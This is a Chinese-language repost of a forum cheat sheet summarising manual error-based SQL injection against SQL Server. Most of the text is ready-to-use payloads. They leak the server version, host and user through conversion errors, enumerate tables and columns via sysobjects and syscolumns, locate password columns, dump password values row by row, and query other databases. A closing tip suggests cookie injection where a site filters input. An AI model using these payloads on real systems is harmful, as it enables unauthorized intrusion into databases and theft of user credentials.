-
--显错模式总结,利用类型转换报错。
--1=convert(int,(@@version))
--1=convert(int,(select host_name()))
--and 1=convert(int,(user))
--爆表名记录条数。replace(字段名,' ','')
select replace(str(count(*))+'N',' ','') from sysobjects where xtype='U'
--逐条爆表名,www.2cto.com 需要更改是"top 0","top 0"代表第一条数据内容。
select top 1 name from sysobjects where xtype='U' and id not in(select top 0 id from sysobjects where xtype='U')
--利用模糊字段关键词找表名,需要更改是"top 0","top 0"代表第一个表名.
select top 1 name from sysobjects where xtype='U' and id not in(select top 0 id from syscolumns where id in(select id from sysobjects where xtype='U') and name like '%pass%' order by id asc)
--爆表与之对应字段,需要更改的是表名"username"和"top 0","top 0"代表第一条数据内容。
select str(count(*))+'N' from syscolumns where id=(select id from sysobjects where xtype='U' and name='username')
select top 1 name from syscolumns where id=(select id from sysobjects where xtype='U' and name='username') and name not in (select top 0 name from syscolumns where id=(select id from sysobjects where xtype='U' and name='username'))
--爆对应表,对应字段数据库内容.
--爆数据条数
select str(count(*))+'N' from username
--爆对应字段对应内容,需要替换password,username,id,以及"top 0","top 0"代表第一条数据内容。
select top 1 password from username where id not in (select top 0 id from username)
--跨库
select top 1 name from ss.dbo.sysobjects where xtype='U' and id not in(select top 0 id from ss.dbo.sysobjects where xtype='U')原理就是那么简单,在测试的过程中学会变通。对于asp+sql server,
经常会遇到做了防注入,有时候别忘了cookies注入,效果不错。
摘自转自:http://t00ls.net/viewthread. php?tid=20248&extra=page%3D1%26amp%3Borderby%3Ddateline%26amp%3Bfilter%3D2592000
Sql Server 手工注入总结(显错模式)
最新推荐文章于 2025-09-24 14:45:18 发布
本文介绍了 SQL Server 数据库渗透的实用技巧,包括利用类型转换错误进行信息泄露、获取表名及字段名的方法,以及如何从数据库中抽取具体的数据内容等。文章还提及了跨库查询的技术,并提醒读者注意 ASP+SQL Server 环境下可能存在的 Cookie 注入攻击。
&spm=1001.2101.3001.5002&articleId=8249557&d=1&t=3&u=f26e5eec91a2403e8f455c7717cdc722)
5561

被折叠的 条评论
为什么被折叠?



